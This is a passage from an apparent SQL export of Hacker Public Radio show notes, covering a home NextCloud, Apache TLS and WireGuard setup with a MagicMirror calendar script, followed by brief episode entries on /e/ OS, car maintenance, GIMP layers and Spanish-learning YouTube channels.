NextCloud to do this.</p>\r\n<h3 id=\"delete\">Delete</h3>\r\n<p>If you need to delete the cert you can do it as follows.</p>\r\n<pre><code>root@nextcloud:~# certbot certificates\r\nSaving debug log to /var/log/letsencrypt/letsencrypt.log\r\n\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nFound the following certs:\r\n  Certificate Name: nextcloud.example.com\r\n    Domains: nextcloud.example.com\r\n    Expiry Date: 2021-03-10 14:28:07+00:00 (VALID: 89 days)\r\n    Certificate Path: /etc/letsencrypt/live/nextcloud.example.com/fullchain.pem\r\n    Private Key Path: /etc/letsencrypt/live/nextcloud.example.com/privkey.pem\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nroot@nextcloud:~# certbot delete\r\nSaving debug log to /var/log/letsencrypt/letsencrypt.log\r\n\r\nWhich certificate(s) would you like to delete?\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n1: nextcloud.example.com\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nSelect the appropriate numbers separated by commas and/or spaces, or leave input\r\nblank to select all options shown (Enter &#39;c&#39; to cancel): 1\r\n\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nDeleted all files relating to certificate nextcloud.example.com.\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -</code></pre>\r\n<h2 id=\"apache-setup\">Apache setup</h2>\r\n<p>Setting up Apache is not well explained anywhere I could find.</p>\r\n<p>The good news is that <a href=\"https://ssl-config.mozilla.org/#server=apache&amp;version=2.4.41&amp;config=intermediate&amp;openssl=1.1.1d&amp;guideline=5.6\">moz://a SSL Configuration Generator</a> page takes the misery out of making tea. I mean, it will help you with your configuration. If you do like misery you can of course read the <a href=\"https://wiki.mozilla.org/Talk:Security/Server_Side_TLS\">Talk:Security/Server Side TLS</a> page.</p>\r\n<p>The most helpful articles were:</p>\r\n<ul>\r\n<li><a href=\"https://linuxize.com/post/secure-apache-with-let-s-encrypt-on-debian-10/\">Secure Apache with Let\'s Encrypt on Debian 10</a></li>\r\n<li><a href=\"https://develike.com/en/articles/adding-a-trusted-self-signed-ssl-certificate-to-apache-on-debian-ubuntu\">Adding a trusted self-signed SSL certificate to Apache on Debian/Ubuntu</a></li>\r\n<li><a href=\"https://www.digitalocean.com/community/tutorials/how-to-create-a-self-signed-ssl-certificate-for-apache-in-debian-10\">How To Create a Self-Signed SSL Certificate for Apache in Debian 10</a></li>\r\n</ul>\r\n<p>I made the following changes:</p>\r\n<pre><code>root@nextcloud:/etc/apache2/sites-available# diff 000-default.conf.orig 000-default.conf\r\n28a29,30\r\n&gt;         RewriteEngine On\r\n&gt;         RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [R=301,L]\r\n\r\nroot@nextcloud:/etc/apache2/sites-available# diff default-ssl.conf.orig default-ssl.conf\r\n32,33c32,33\r\n&lt;               SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem\r\n&lt;               SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key\r\n---\r\n&gt;               SSLCertificateFile      /etc/letsencrypt/live/nextcloud.example.com/fullchain.pem\r\n&gt;               SSLCertificateKeyFile   /etc/letsencrypt/live/nextcloud.example.com/privkey.pem\r\n129a130,131\r\n&gt;               # enable HTTP/2, if available\r\n&gt;               Protocols h2 http/1.1\r\n130a133,134\r\n&gt;               # HTTP Strict Transport Security (mod_headers is required) (63072000 seconds)\r\n&gt;               Header always set Strict-Transport-Security &quot;max-age=63072000&quot;</code></pre>\r\n<h2 id=\"testing\">Testing</h2>\r\n<p>To test the cert you can connect to the localhost on the server.</p>\r\n<pre><code>root@nextcloud:/etc/apache2/sites-available# openssl s_client -crlf -debug -connect localhost:443 -status -servername nextcloud.example.com\r\nCONNECTED(00000003)\r\nwrite to 0x643cf8 [0x652568] (321 bytes =&gt; 321 (0x141))\r\n[snip...]\r\nread from 0x643cf8 [0x6492b3] (5 bytes =&gt; 5 (0x5))\r\n0000 - 48 54 54 50 2f                                    HTTP/\r\n3069898768:error:1408F10B:SSL routines:ssl3_get_record:wrong version number:../ssl/record/ssl3_record.c:332:\r\n---\r\nno peer certificate available\r\n---\r\nNo client certificate CA names sent\r\n---\r\nSSL handshake has read 5 bytes and written 321 bytes\r\nVerification: OK\r\n---\r\nNew, (NONE), Cipher is (NONE)\r\nSecure Renegotiation IS NOT supported\r\nCompression: NONE\r\nExpansion: NONE\r\nNo ALPN negotiated\r\nEarly data was not sent\r\nVerify return code: 0 (ok)\r\n---\r\n[snip...]</code></pre>\r\n<p>I had been using <code>systemctl restart apache2.service</code> to restart apache, but the recommended way is to use <code>apache2ctl</code>.</p>\r\n<pre><code>root@nextcloud:/etc/apache2/sites-available# apache2ctl \r\nUsage: /usr/sbin/apache2ctl start|stop|restart|graceful|graceful-stop|configtest|status|fullstatus|help\r\n       /usr/sbin/apache2ctl &lt;apache2 args&gt;\r\n       /usr/sbin/apache2ctl -h            (for help on &lt;apache2 args&gt;)\r\n\r\nroot@nextcloud:/etc/apache2/sites-available# apache2ctl restart\r\nAH00558: apache2: Could not reliably determine the server&#39;s fully qualified domain name, using 127.0.1.1. Set the &#39;ServerName&#39; directive globally to suppress this message\r\n\r\nroot@nextcloud:/etc/apache2/sites-available# apache2 -t\r\n[Thu Dec 10 18:18:49.187628 2020] [core:warn] [pid 4108] AH00111: Config variable ${APACHE_RUN_DIR} is not defined\r\napache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot</code></pre>\r\n<p>For some reason that fixed it.</p>\r\n<pre><code># openssl s_client -crlf -debug -connect localhost:443 -status -servername nextcloud.example.com\r\nCONNECTED(00000003)\r\nwrite to 0xe4918 [0xf3188] (324 bytes =&gt; 324 (0x144))\r\n[snip...]\r\nOCSP response: \r\n======================================\r\nOCSP Response Data:\r\n    OCSP Response Status: successful (0x0)\r\n    Response Type: Basic OCSP Response\r\n    Version: 1 (0x0)\r\n    Responder Id: C = US, O = Let&#39;s Encrypt, CN = R3\r\n    Produced At: Dec 22 16:04:00 2020 GMT\r\n[snip...]\r\n---\r\nCertificate chain\r\n 0 s:CN = nextcloud.example.com\r\n   i:C = US, O = Let&#39;s Encrypt, CN = R3\r\n 1 s:C = US, O = Let&#39;s Encrypt, CN = R3\r\n   i:O = Digital Signature Trust Co., CN = DST Root CA X3\r\n---\r\nServer certificate\r\n-----BEGIN CERTIFICATE-----\r\n[snip...]</code></pre>\r\n<h2 id=\"dns-rebind-protection\">DNS Rebind Protection</h2>\r\n<p>Now that everything is up and running we just need to create a new <code>A</code> record pointing to our internal IP Address. Unfortunately while <code>nextcloud.example.com</code> resolves to <code>192.168.123.123</code> externally, it fails to return an answer internally.</p>\r\n<p>A little investigation lead to the fact that my <a href=\"https://en.avm.de/service/fritzbox/fritzbox-7390/knowledge-base/publication/show/663_No-DNS-resolution-of-private-IP-addresses/\">firewall</a>, was seeing this as a <a href=\"https://en.wikipedia.org/wiki/DNS_rebinding\">DNS Rebinding</a> attack. It correctly blocks these DNS entires. I was able to add an exception under <code>Network &gt; DHCP &gt; Rebind protection &gt; Discard upstream RFC1918 responses</code>.</p>\r\n<p>On your router you should check under DHCP/DNS entries for <code>RFC1918</code> or <code>DNS Rebinding</code>.</p>\r\n<p>You can verify your install as follows:</p>\r\n<pre><code># apt-get install -y dnsutils\r\n\r\n$ dig nextcloud.example.com\r\n\r\n; &lt;&lt;&gt;&gt; DiG 9.16.8-Debian &lt;&lt;&gt;&gt; nextcloud.example.com\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 29350\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 4096\r\n;; QUESTION SECTION:\r\n;nextcloud.example.com.          IN      A\r\n\r\n;; ANSWER SECTION:\r\nnextcloud.example.com.   3600    IN      A       192.168.123.123\r\n\r\n;; Query time: 40 msec\r\n;; SERVER: 192.168.0.71#53(192.168.0.71)\r\n;; WHEN: Thu Dec 10 16:53:39 GMT 2020\r\n;; MSG SIZE  rcvd: 65</code></pre>\r\n<h2 id=\"completing\">Completing</h2>\r\n<p>Back in the admin console you should keep upgrading, and fixing errors until it says <code>Your version is up to date.</code> and <code>All checks passed.</code></p>\r\n<p>At this point you are ready to open the server up to your users while they are outside the home, in work or school.</p>\r\n<h1 id=\"firewall-setup\">Firewall setup</h1>\r\n<p>timttmy has already done an episode on WireGuard where he goes into the details of how to install it manually.</p>\r\n<p>I cheated and used the <a href=\"https://www.pivpn.io/\">PIVPN</a> which now supports wireguard.</p>\r\n<p>This is a good walkthrough with screenshots in the article <a href=\"https://pimylifeup.com/raspberry-pi-wireguard/\">Setting up a WireGuard VPN on the Raspberry Pi</a>.</p>\r\n<p>Once that\'s done you should have the following commands available.</p>\r\n<pre><code># pivpn\r\n::: Control all PiVPN specific functions!\r\n:::\r\n::: Usage: pivpn &lt;command&gt; [option]\r\n:::\r\n::: Commands:\r\n:::  -a,  add              Create a client conf profile\r\n:::  -c,  clients          List any connected clients to the server\r\n:::  -d,  debug            Start a debugging session if having trouble\r\n:::  -l,  list             List all clients\r\n:::  -qr, qrcode           Show the qrcode of a client for use with the mobile app\r\n:::  -r,  remove           Remove a client\r\n:::  -h,  help             Show this help dialog\r\n:::  -u,  uninstall        Uninstall pivpn from your system!\r\n:::  -up, update           Updates PiVPN Scripts\r\n:::  -bk, backup           Backup VPN configs and user profiles\r\n</code></pre>\r\n<p>During the install process you will select a port to use. This port needs to be allowed in from the Internet to your internal server. Where this will be done is different for every router, but have a look around for <code>port forwarding</code> or <code>permit access</code> to do this.</p>\r\n<h1 id=\"setting-up-client-on-lineageos\">Setting up Client on LineageOS</h1>\r\n<p>It is at this point that you will need to have accounts created in NextCloud.</p>\r\n<ul>\r\n<li><a href=\"https://nextcloud.example.com/nextcloud/\">https://nextcloud.example.com/nextcloud/</a></li>\r\n</ul>\r\n<p>You can do this under your profile &gt; users in an admin account.</p>\r\n<p>I created an account for each of the family members, a generic one for the house, and a readonly one for the <a href=\"https://hackerpublicradio.org/eps.php?id=3039\">MagicMirror</a>.</p>\r\n<p>The house account houses (pun intended) the shared calendar, files, and contacts. All the family accounts have read and write access to these, except for the MagicMirror one which only needs to read the calendar and contacts.</p>\r\n<h2 id=\"fdroid\">Fdroid</h2>\r\n<p>Now you can install the software you will need on your phones.</p>\r\n<ul>\r\n<li><a href=\"https://f-droid.org/en/packages/com.nextcloud.client/\">NextCloud</a> Synchronization client</li>\r\n<li><a href=\"https://f-droid.org/en/packages/at.bitfire.davdroid/\">DAVx</a> DAVx⁵ CalDAV/CardDAV Synchronization and Client</li>\r\n<li><a href=\"https://f-droid.org/en/packages/org.dmfs.tasks/\">OpenTasks</a> Keep track of your list of goals</li>\r\n<li><a href=\"https://f-droid.org/en/packages/com.wireguard.android/\">WireGuard</a> Next generation secure VPN network tunnel</li>\r\n</ul>\r\n<p>You will need to setup the NextCloud client using the url <code>https://nextcloud.example.com/nextcloud/</code>, username and password.</p>\r\n<p>Then you set up DAVx using another url <code>https://nextcloud.example.com/nextcloud/remote.php/dav</code>, but the same , username and password.</p>\r\n<p>By the way if you want to access files you can do so via <code>davs://nextcloud.example.com/nextcloud/remote.php/dav/files/house/</code></p>\r\n<p>I set up the NextCloud client to automatically upload photos, and videos to the server.</p>\r\n<p>To set up WireGuard you need to create a connection for each device connecting</p>\r\n<pre><code>root@nextcloud:~# pivpn add\r\nEnter a Name for the Client: Mobile_Worker\r\n::: Client Keys generated\r\n::: Client config generated\r\n::: Updated server config\r\n::: WireGuard reloaded\r\n======================================================================\r\n::: Done! Mobile_Worker.conf successfully created!\r\n::: Mobile_Worker.conf was copied to /home/ken/configs for easy transfer.\r\n::: Please use this profile only on one device and create additional\r\n::: profiles for other devices. You can also use pivpn -qr\r\n::: to generate a QR Code you can scan with the mobile app.\r\n======================================================================</code></pre>\r\n<p>Then open display the qrcode as follows:</p>\r\n<pre><code>root@nextcloud:~# pivpn qrcode\r\n::  Client list  ::\r\n1) Mobile_Worker\r\nPlease enter the Index/Name of the Client to show: </code></pre>\r\n<p>Pressing <code>1</code> in my case will display the QRCode.</p>\r\n<p>Open the WireGuard app on the phone and press <code>+</code> to add an account, and select <em>scan from qr code</em>.</p>\r\n<p>Point it to QRCode and that\'s it.</p>\r\n<p>If you want to remove a client, you can just use <code>pivpn remove</code></p>\r\n<pre><code>root@nextcloud:~# pivpn remove\r\n::  Client list  ::\r\n1) Mobile_Worker\r\nPlease enter the Index/Name of the Client to be removed from the list above: 6\r\nDo you really want to delete Mobile_Worker? [Y/n] y\r\n::: Updated server config\r\n::: Client config for Mobile_Worker removed\r\n::: Client Keys for Mobile_Worker removed\r\n::: Successfully deleted Mobile_Worker\r\n::: WireGuard reloaded</code></pre>\r\n<h2 id=\"magicmirror\">MagicMirror</h2>\r\n<p>The final step is to have the <a href=\"https://hackerpublicradio.org/eps.php?id=3039\">MagicMirror</a> in the living room display the shared calendar.</p>\r\n<p>To display your calendar there, you need to have an <a href=\"https://en.wikipedia.org/wiki/ICalendar\">ics iCalendar</a> file.</p>\r\n<p>You can get that by login into NextCloud as the MagicMirror user via the web, going to the calendar you desire to export. Click the <code>...</code> menu and select \"Copy Private Link\".</p>\r\n<p>You can then add the <code>?export</code> at the end of the url to get an ical export.</p>\r\n<p><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave</a> gave me a tip on how to have MagicMirror serve this file, by using its own local webserver. You point it to a local directory eg: <code>https://localhost:8080/modules/.calendars/</code>. Don\'t forget to create it.</p>\r\n<pre><code>mkdir -p ~/MagicMirror/modules/.calendars/</code></pre>\r\n<p>I wrote a script that would first get a new version of the ical file, and if it is downloaded correctly would immediately overwrite the previous one.</p>\r\n<pre><code>[magicmirror@magicmirror ~]$ cat /home/pi/bin/cal.bash\r\n#!/bin/bash\r\nwget --quiet --output-document /home/pi/MagicMirror/modules/.calendars/home_calendar.ics.tmp --auth-no-challenge --http-user=magicmirror --http-password=&quot;PASSWORD&quot; &quot;https://nextcloud.example.com/nextcloud/remote.php/dav/calendars/magicmirror/personal_shared_by_House/?export&quot; &gt; /dev/null 2&gt;&amp;1\r\nif [ -s /home/pi/MagicMirror/modules/.calendars/home_calendar.ics.tmp ]\r\nthen\r\n  mv /home/pi/MagicMirror/modules/.calendars/home_calendar.ics.tmp /home/pi/MagicMirror/modules/.calendars/home_calendar.ics\r\nfi\r\n[snip...]</code></pre>\r\n<p>I then scheduled this to run every 15 minutes.</p>\r\n<pre><code>[magicmirror@magicmirror ~]$ crontab -l\r\n*/15 * * * * /home/pi/bin/cal.bash &gt;/dev/null 2&gt;&amp;1</code></pre>\r\n<p>The final step was to update my Calendar entry in the <code>~/MagicMirror/config/config.js</code> config file.</p>\r\n<pre><code>        // Calendar\r\n        {\r\n            module: &quot;calendar&quot;,\r\n            header: &quot;Calendar&quot;,\r\n            position: &quot;top_center&quot;,\r\n            config: {\r\n                colored: true,\r\n                maxTitleLength: 30,\r\n                fade: false,\r\n                calendars: [\r\n                    {\r\n                        name: &quot;Family Calendar&quot;,\r\n                        url: &quot;https://localhost:8080/modules/.calendars/home_calendar.ics&quot;,\r\n                        symbol: &quot;calendar-check&quot;,\r\n                        color: &quot;#825BFF&quot; // violet-ish\r\n                    },\r\n                    {\r\n                        name: &quot;Birthday Calendar&quot;,\r\n                        url: &quot;https://localhost:8080/modules/.calendars/birthday_calendar.ics&quot;,\r\n                        symbol: &quot;calendar-check&quot;,\r\n                        color: &quot;#FFCC00&quot; // violet-ish\r\n                    },\r\n                    {\r\n                        // Calendar uses repeated &#39;RDATE&#39; entries, which this iCal parser\r\n                        // doesn&#39;t seem to recognise. Only the next event is visible, and\r\n                        // the calendar has to be refreshed *after* the event has passed.\r\n                        name: &quot;HPR Community News recordings&quot;,\r\n                        url: &quot;https://hackerpublicradio.org/HPR_Community_News_schedule.ics&quot;,\r\n                        symbol: &quot;calendar-check&quot;,\r\n                        color: &quot;#C465A7&quot; // purple\r\n                    },\r\n                    {\r\n                        // https://inzamelkalender.gad.nl/ical-info\r\n                        name: &quot;GAD Calendar&quot;,\r\n                        url: &quot;https://inzamelkalender.gad.nl/ical/0381200000107654&quot;,\r\n                        symbol: &quot;calendar-check&quot;,\r\n                        color: &quot;#00CC00&quot; // Green\r\n                    },\r\n                ]\r\n            }\r\n        },</code></pre>\r\n<p>The contacts birthday wasn\'t available to the MagicMirror user immediately after I created it, so I was able to force an update as follows:</p>\r\n<pre><code>root@nextcloud:/var/www/html/nextcloud# sudo -u www-data php occ dav:sync-birthday-calendar\r\nStart birthday calendar sync for all users ...\r\n    7 [============================]</code></pre>\r\n<h1 id=\"conclusion\">Conclusion</h1>\r\n<p>With that we have a family sharing solution just like other normal house holds. Yet with the security of knowing that the data doesn\'t leave the house, and is not being used without your approval.</p>\r\n<p>You can tell it\'s a hit, because now people are scheduling tech support tasks via the app.</p>\r\n<p>Ah well.</p>\r\n\r\n',30,0,1,'CC-BY-SA','NextCloud, Raspbian, Apache, mariadb, PHP, myphpadmin, wireguard, DNS Rebind, magicmirror2',0,0,1),
(3246,'2021-01-11','LXCast: freeing the Fairphone 3 (and many other phones) ',1744,'We look at how to get a free smartphone operating system on the Fairphone 3 (and many other phones),','<ul>\r\n<li><p>My review on the FP3 when it came out<br />\r\n<a href=\"https://lxcast.net/lxcast-2-fairphone-3-fair-but-not-free-yet/\" class=\"uri\">https://lxcast.net/lxcast-2-fairphone-3-fair-but-not-free-yet/</a></p></li>\r\n<li><p>Two solutions for a free OS:</p>\r\n<ol type=\"1\">\r\n<li><p>lineage OS - free android with the Gapps removed<br />\r\n<a href=\"https://download.lineageos.org/FP3\" class=\"uri\">https://download.lineageos.org/FP3</a></p></li>\r\n<li><p>the /e/ project !! A \"de-googled\" operating system - actually a fork of lineage OS - this is what I\'m going to talk about here.<br />\r\n<a href=\"https://e.foundation/about-e/\" class=\"uri\">https://e.foundation/about-e/</a></p></li>\r\n</ol></li>\r\n<li><p>The research paper on Google Data Collection by Professor Douglas C. Schmidt, Vanderbilt University (2018) - learn how and how often normal Android phones send your data to Google servers.<br />\r\n<a href=\"https://digitalcontentnext.org/blog/2018/08/21/google-data-collection-research/\" class=\"uri\">https://digitalcontentnext.org/blog/2018/08/21/google-data-collection-research/</a></p></li>\r\n<li><p>Another background article on tracking (in German) based on research from a Norwegian journalist:<br />\r\n<a href=\"https://www.golem.de/news/datenschutz-wie-ich-die-ueberwacher-in-meinem-smartphone-aufspuerte-2012-152829-2.html\" class=\"uri\">https://www.golem.de/news/datenschutz-wie-ich-die-ueberwacher-in-meinem-smartphone-aufspuerte-2012-152829-2.html</a></p></li>\r\n<li><p>MicroG services, a replacement for Google\'s libraries on /e/ with purely open-source implementations.</p></li>\r\n<li><p>The man behind the /e/ project: Gael Duval, pioneer of Open Source, Mandrake, Ulteo...<br />\r\n<a href=\"https://www.indidea.org/gael/blog/about-gael-duval/\" class=\"uri\">https://www.indidea.org/gael/blog/about-gael-duval/</a></p></li>\r\n<li><p>His article outlining his vision for /e/ : <a href=\"https://gael-duval.medium.com/e-os-redefines-the-mobile-operating-system-paradigm-for-a-more-sustainable-world-4e929b1010c\" class=\"uri\">https://gael-duval.medium.com/e-os-redefines-the-mobile-operating-system-paradigm-for-a-more-sustainable-world-4e929b1010c</a></p></li>\r\n<li><p>You can buy a FP3 and an FP3 + with /e/ pre-installed here !!<br />\r\n<a href=\"https://esolutions.shop/de/\" class=\"uri\">https://esolutions.shop/de/</a></p></li>\r\n<li><p>Installing on your phone: over 110 devices supported: from Asus to Google, to Oneplus and Xiaomi<br />\r\n<a href=\"https://doc.e.foundation/devices/\" class=\"uri\">https://doc.e.foundation/devices/</a></p></li>\r\n</ul>\r\n<h3 id=\"how-to-install-it-on-the-fp3\">How to install it on the FP3</h3>\r\n<ul>\r\n<li><p>Install /e/ on FairPhone FP3 - FP3 | /e/ documentation</p></li>\r\n<li><p>Privacy ratings of apps: <a href=\"https://exodus-privacy.eu\" class=\"uri\">https://exodus-privacy.eu</a></p></li>\r\n<li><p>Alternative launchers:</p>\r\n<ul>\r\n<li>KISS launcher</li>\r\n<li>Simple launcher</li>\r\n</ul></li>\r\n<li><p>I recommended you add these apps:</p>\r\n<ul>\r\n<li>Antennapod - podcast client</li>\r\n<li>FairEmail or simple email</li>\r\n<li>Fennec (Firefox)</li>\r\n<li>Signal</li>\r\n<li>newpipe for watching youtube without being tracked</li>\r\n</ul></li>\r\n<li><p>Backup via adb is apparently broken | Not the fault of /e/!!</p></li>\r\n<li><p>You cannot simply flash a new recovery, such as TWRP, to flash images or backup, instead, you can use this method<br />\r\n<a href=\"https://twrp.me/fairphone/fairphone3.html\" class=\"uri\">https://twrp.me/fairphone/fairphone3.html</a></p></li>\r\n<li><p>Donate or become a member to keep the project going:<br />\r\n<a href=\"https://e.foundation/donate-2/\" class=\"uri\">https://e.foundation/donate-2/</a></p></li>\r\n</ul>\r\n<p>Feel free to add any comments below!</p>\r\n<p>Theme Music: Jazzhar, \"Room with a View\" CC-BY-SA, check him out on Jamendo and on Free Music Archive</p>\r\n',285,75,0,'CC-BY-SA','LXCast, Smartphone, Android, Fairphone, FOSS',0,0,1),
(3247,'2021-01-12','Saturday Morning Automotive Routine',1110,'I have developed a relaxing 10-step routine for keeping your car in running condition.','<p>The top ten are:</p>\r\n<ol type=\"1\">\r\n<li>Gas</li>\r\n<li>Tires</li>\r\n<li>Battery</li>\r\n<li>Hoses/Belts</li>\r\n<li>Fluids</li>\r\n<li>External</li>\r\n<li>Review dates</li>\r\n<li>Schedule replacement parts</li>\r\n<li>Clean up</li>\r\n<li>Choose for car wash</li>\r\n</ol>\r\n<!-- . -->\r\n<ol start=\"11\" type=\"1\">\r\n<li>A treat!</li>\r\n</ol>\r\n<p>Blog site: <a href=\"https://biblicaltrumpets.org\" class=\"uri\">https://biblicaltrumpets.org</a></p>\r\n',389,0,0,'CC-BY-SA','system,lifehack,automotive,routine maintenance',0,0,1),
(3255,'2021-01-22','garage door part 2',574,'tis teh season COUGH COUGH','<p>garage door part 2<br />\r\ntis teh season COUGH COUGH</p>',36,0,1,'CC-BY-SA','garage door,diy,home,repair',0,0,1),
(3290,'2021-03-12','GIMP: More on Layer Tools and Techniques',887,'Using some additional tools for for working with Layers in GIMP','<p>When working with layers you often need to use additional tools and techniques to get the results you want. We cover several of the most often used ones in this tutorial, including Transparency, Opacity, Layer Groups, and Linking Layers. You will use these frequently in working with Layers.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/\" class=\"uri\">https://docs.gimp.org/2.10/en/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources\" class=\"uri\">https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources</a></li>\r\n<li><a href=\"https://imageric.com/\" class=\"uri\">https://imageric.com/</a></li>\r\n<li><a href=\"https://imageric.com/photos/free/detail/13392-daughter-happy-together-family-mother-smiling-child-people-group-love\" class=\"uri\">https://imageric.com/photos/free/detail/13392-daughter-happy-together-family-mother-smiling-child-people-group-love</a></li>\r\n<li><a href=\"https://imageric.com/photos/free/detail/13400-flower-arrangement-bouquet-arrangement-rose-decoration-flower-roses\" class=\"uri\">https://imageric.com/photos/free/detail/13400-flower-arrangement-bouquet-arrangement-rose-decoration-flower-roses</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/more-on-layer-tools-and-techniques/\" class=\"uri\">https://www.ahuka.com/gimp/more-on-layer-tools-and-techniques/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layers',0,0,1),
(3300,'2021-03-26','YouTube Channels for Learning Spanish, Part 1',984,'My reviews of some YouTube channels offering free Spanish language lessons.','<p>As I have been learning Spanish I have been making use of a variety of tools and aids. One of the best is YouTube, where there is a wealth of free stuff. Of course, Spanish is not the only language with good resources here, but it is the one I am studying right now. But if you are interested in learning another language, or improving your knowledge of one, you should take a look.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/channel/UC_GFwrcNlXh92xA8iKFT2WA\" class=\"uri\">https://www.youtube.com/channel/UC_GFwrcNlXh92xA8iKFT2WA</a></li>\r\n<li><a href=\"https://thelanguagetutor.co/\" class=\"uri\">https://thelanguagetutor.co/</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=hyLl_0d0EBw&amp;list=PLTpetkN815Qyuc2RbC1kxxMQvxjQ3RnYG\" class=\"uri\">https://www.youtube.com/watch?v=hyLl_0d0EBw&amp;list=PLTpetkN815Qyuc2RbC1kxxMQvxjQ3RnYG</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=I8hFdZEPqdM\" class=\"uri\">https://www.youtube.com/watch?v=I8hFdZEPqdM</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Common_European_Framework_of_Reference_for_Languages\" class=\"uri\">https://en.wikipedia.org/wiki/Common_European_Framework_of_Reference_for_Languages</a></li>\r\n<li><a href=\"https://www.youtube.com/c/Professorjason/featured\" class=\"uri\">https://www.youtube.com/c/Professorjason/featured</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC67BDv__7er_ZaYKqhOSOFQ\" class=\"uri\">https://www.youtube.com/channel/UC67BDv__7er_ZaYKqhOSOFQ</a></li>\r\n<li><a href=\"https://www.youtube.com/user/culturealley\" class=\"uri\">https://www.youtube.com/user/culturealley</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC9yudInUYzMh9H4gJs4DrHg\" class=\"uri\">https://www.youtube.com/channel/UC9yudInUYzMh9H4gJs4DrHg</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCozZrWPuoNRLl5ArOyJ57sQ\" class=\"uri\">https://www.youtube.com/channel/UCozZrWPuoNRLl5ArOyJ57sQ</a></li>\r\n<li><a href=\"https://www.palain.com/spanish/youtube-channels-for-learning-spanish/\" class=\"uri\">https://www.palain.com/spanish/youtube-channels-for-learning-spanish/</a></li>\r\n</ul>\r\n',198,116,0,'CC-BY-SA','Spanish, Language learning, YouTube',0,0,1),
(3310,'2021-04-09','Layer Masks',970,'We begin our look at a key tool in GIMP, Layer Masks','<p>One of the key tools in GIMP is Layer Masks, which allow you to make selected parts of a layer transparent, so that lower layers can come through. This is a way to get the same kinds of effects you would get with physical transparency sheets or animation gels.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/\" class=\"uri\">https://docs.gimp.org/2.10/en/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources\" class=\"uri\">https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources</a></li>\r\n<li><a href=\"https://snappygoat.com/\" class=\"uri\">https://snappygoat.com/</a></li>\r\n<li><a href=\"https://snappygoat.com/s/?q=flowerscloseup#eda72d0e7eedc238eed8f7acffc515dba94ce64c,1,342\" class=\"uri\">https://snappygoat.com/s/?q=flowerscloseup#eda72d0e7eedc238eed8f7acffc515dba94ce64c,1,342</a></li>\r\n<li><a href=\"https://www.gimp.org/docs/userfaq.html#when-will-gimp-support-any-kind-of-non-destructive-editing-like-adjustment-layers-layer-filters-andor-full-blown-node-based-editing\" class=\"uri\">https://www.gimp.org/docs/userfaq.html#when-will-gimp-support-any-kind-of-non-destructive-editing-like-adjustment-layers-layer-filters-andor-full-blown-node-based-editing</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/layer-masks/\" class=\"uri\">https://www.ahuka.com/gimp/layer-masks/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layers, Layer Masks',0,0,1),
(3320,'2021-04-23','YouTube Channels for Learning Spanish, Part 2',873,'My reviews of some YouTube channels offering free Spanish language lessons.','<p>As I have been learning Spanish I have been making use of a variety of tools and aids. One of the best is YouTube, where there is a wealth of free stuff. Of course, Spanish is not the only language with good resources here, but it is the one I am studying right now. But if you are interested in learning another language, or improving your knowledge of one, you should take a look. This is the second part covering some additional channels</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/channel/UCmSElpplqOqmAHi1N0z42AQ\" class=\"uri\">https://www.youtube.com/channel/UCmSElpplqOqmAHi1N0z42AQ</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCydVvh3Wg4VPvllLHFoe5_A\" class=\"uri\">https://www.youtube.com/channel/UCydVvh3Wg4VPvllLHFoe5_A</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCouyFdE9-Lrjo3M_2idKq1A\" class=\"uri\">https://www.youtube.com/channel/UCouyFdE9-Lrjo3M_2idKq1A</a></li>\r\n<li><a href=\"https://algworld.com/\" class=\"uri\">https://algworld.com/</a></li>\r\n<li><a href=\"https://www.teachingenglish.org.uk/article/comprehensible-input\" class=\"uri\">https://www.teachingenglish.org.uk/article/comprehensible-input</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCIdFcLCIJQ_YMrormG_nU8w\" class=\"uri\">https://www.youtube.com/channel/UCIdFcLCIJQ_YMrormG_nU8w</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCfG2VhlQgy5bHGmkpeKcjVA\" 